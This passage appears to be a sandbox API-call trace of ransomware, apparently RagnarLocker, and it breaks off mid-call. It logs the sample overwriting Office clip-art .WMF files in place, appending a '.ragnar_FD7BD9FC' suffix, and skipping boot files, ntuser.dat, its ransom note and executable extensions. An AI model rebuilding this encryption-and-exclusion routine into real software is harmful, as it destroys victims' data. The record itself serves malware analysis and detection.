[0089.868] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14328) returned 1 [0089.868] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x37ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.868] GetProcessHeap () returned 0x580000 [0089.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.868] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.869] VirtualAlloc (lpAddress=0x0, dwSize=0x37f8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.870] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.870] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.870] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x37f8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x37f8, lpOverlapped=0x0) returned 1 [0089.871] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.871] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x37f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.871] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x37f8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x37f8, lpOverlapped=0x0) returned 1 [0089.871] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x37f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.871] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.871] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x37f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.871] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.871] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.871] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.872] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.872] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.872] GetProcessHeap () returned 0x580000 [0089.872] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.872] CloseHandle (hObject=0xf4) returned 1 [0089.872] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" [0089.872] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF.ragnar_FD7BD9FC" [0089.872] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.872] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f24df00, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f24df00, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x167c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE05710_.WMF", cAlternateFileName="")) returned 1 [0089.872] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.872] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE05710_.WMF" | out: lpString1="PE05710_.WMF") returned="PE05710_.WMF" [0089.873] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF") returned=".WMF" [0089.873] lstrcmpiW (lpString1="PE05710_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.873] lstrcmpiW (lpString1="PE05710_.WMF", lpString2="autorun.inf") returned 1 [0089.873] lstrcmpiW (lpString1="PE05710_.WMF", lpString2="boot.ini") returned 1 [0089.873] lstrcmpiW (lpString1="PE05710_.WMF", lpString2="bootfont.bin") returned 1 [0089.873] lstrcmpiW (lpString1="PE05710_.WMF", lpString2="bootsect.bak") returned 1 [0089.873] lstrcmpiW (lpString1="PE05710_.WMF", lpString2="bootmgr") returned 1 [0089.873] lstrcmpiW (lpString1="PE05710_.WMF", lpString2="bootmgr.efi") returned 1 [0089.873] lstrcmpiW (lpString1="PE05710_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.873] lstrcmpiW (lpString1="PE05710_.WMF", lpString2="desktop.ini") returned 1 [0089.873] lstrcmpiW (lpString1="PE05710_.WMF", lpString2="iconcache.db") returned 1 [0089.873] lstrcmpiW (lpString1="PE05710_.WMF", lpString2="ntldr") returned 1 [0089.873] lstrcmpiW (lpString1="PE05710_.WMF", lpString2="ntuser.dat") returned 1 [0089.873] lstrcmpiW (lpString1="PE05710_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.873] lstrcmpiW (lpString1="PE05710_.WMF", lpString2="ntuser.ini") returned 1 [0089.873] lstrcmpiW (lpString1="PE05710_.WMF", lpString2="thumbs.db") returned -1 [0089.873] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.873] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.873] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.873] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.873] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.873] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.873] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf")) returned 0x20 [0089.873] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.874] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5756) returned 1 [0089.874] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1673, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.874] GetProcessHeap () returned 0x580000 [0089.874] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.874] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.875] VirtualAlloc (lpAddress=0x0, dwSize=0x167c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.875] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.875] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.876] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x167c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x167c, lpOverlapped=0x0) returned 1 [0089.876] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.876] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x167c, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.877] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x167c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x167c, lpOverlapped=0x0) returned 1 [0089.877] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x167c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.877] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.877] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x167c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.877] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.877] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.877] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.877] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.877] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.877] GetProcessHeap () returned 0x580000 [0089.877] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.877] CloseHandle (hObject=0xf4) returned 1 [0089.878] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" [0089.878] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF.ragnar_FD7BD9FC" [0089.878] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.878] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49073b00, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49073b00, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE05869_.WMF", cAlternateFileName="")) returned 1 [0089.878] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.878] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE05869_.WMF" | out: lpString1="PE05869_.WMF") returned="PE05869_.WMF" [0089.878] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF") returned=".WMF" [0089.878] lstrcmpiW (lpString1="PE05869_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.878] lstrcmpiW (lpString1="PE05869_.WMF", lpString2="autorun.inf") returned 1 [0089.878] lstrcmpiW (lpString1="PE05869_.WMF", lpString2="boot.ini") returned 1 [0089.878] lstrcmpiW (lpString1="PE05869_.WMF", lpString2="bootfont.bin") returned 1 [0089.878] lstrcmpiW (lpString1="PE05869_.WMF", lpString2="bootsect.bak") returned 1 [0089.878] lstrcmpiW (lpString1="PE05869_.WMF", lpString2="bootmgr") returned 1 [0089.879] lstrcmpiW (lpString1="PE05869_.WMF", lpString2="bootmgr.efi") returned 1 [0089.879] lstrcmpiW (lpString1="PE05869_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.879] lstrcmpiW (lpString1="PE05869_.WMF", lpString2="desktop.ini") returned 1 [0089.879] lstrcmpiW (lpString1="PE05869_.WMF", lpString2="iconcache.db") returned 1 [0089.879] lstrcmpiW (lpString1="PE05869_.WMF", lpString2="ntldr") returned 1 [0089.879] lstrcmpiW (lpString1="PE05869_.WMF", lpString2="ntuser.dat") returned 1 [0089.879] lstrcmpiW (lpString1="PE05869_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.879] lstrcmpiW (lpString1="PE05869_.WMF", lpString2="ntuser.ini") returned 1 [0089.879] lstrcmpiW (lpString1="PE05869_.WMF", lpString2="thumbs.db") returned -1 [0089.879] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.879] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.879] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.879] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.879] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.879] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.879] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf")) returned 0x20 [0089.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.880] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1544) returned 1 [0089.880] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.880] GetProcessHeap () returned 0x580000 [0089.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.880] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.882] VirtualAlloc (lpAddress=0x0, dwSize=0x608, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.882] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.882] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.882] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x608, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x608, lpOverlapped=0x0) returned 1 [0089.882] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.882] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x608, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.882] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x608, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x608, lpOverlapped=0x0) returned 1 [0089.882] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x608, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.882] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.883] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x608, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.883] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.883] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.883] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.883] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.883] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.883] GetProcessHeap () returned 0x580000 [0089.883] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.883] CloseHandle (hObject=0xf4) returned 1 [0089.883] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" [0089.883] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF.ragnar_FD7BD9FC" [0089.883] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.884] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44428700, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44428700, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE05870_.WMF", cAlternateFileName="")) returned 1 [0089.884] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.884] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE05870_.WMF" | out: lpString1="PE05870_.WMF") returned="PE05870_.WMF" [0089.884] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF") returned=".WMF" [0089.884] lstrcmpiW (lpString1="PE05870_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.884] lstrcmpiW (lpString1="PE05870_.WMF", lpString2="autorun.inf") returned 1 [0089.884] lstrcmpiW (lpString1="PE05870_.WMF", lpString2="boot.ini") returned 1 [0089.884] lstrcmpiW (lpString1="PE05870_.WMF", lpString2="bootfont.bin") returned 1 [0089.884] lstrcmpiW (lpString1="PE05870_.WMF", lpString2="bootsect.bak") returned 1 [0089.884] lstrcmpiW (lpString1="PE05870_.WMF", lpString2="bootmgr") returned 1 [0089.884] lstrcmpiW (lpString1="PE05870_.WMF", lpString2="bootmgr.efi") returned 1 [0089.884] lstrcmpiW (lpString1="PE05870_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.884] lstrcmpiW (lpString1="PE05870_.WMF", lpString2="desktop.ini") returned 1 [0089.884] lstrcmpiW (lpString1="PE05870_.WMF", lpString2="iconcache.db") returned 1 [0089.884] lstrcmpiW (lpString1="PE05870_.WMF", lpString2="ntldr") returned 1 [0089.884] lstrcmpiW (lpString1="PE05870_.WMF", lpString2="ntuser.dat") returned 1 [0089.884] lstrcmpiW (lpString1="PE05870_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.884] lstrcmpiW (lpString1="PE05870_.WMF", lpString2="ntuser.ini") returned 1 [0089.884] lstrcmpiW (lpString1="PE05870_.WMF", lpString2="thumbs.db") returned -1 [0089.884] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.884] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.884] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.884] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.884] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.884] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.884] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf")) returned 0x20 [0089.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.886] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1588) returned 1 [0089.886] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x62b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.886] GetProcessHeap () returned 0x580000 [0089.886] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.886] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.887] VirtualAlloc (lpAddress=0x0, dwSize=0x634, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.887] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, 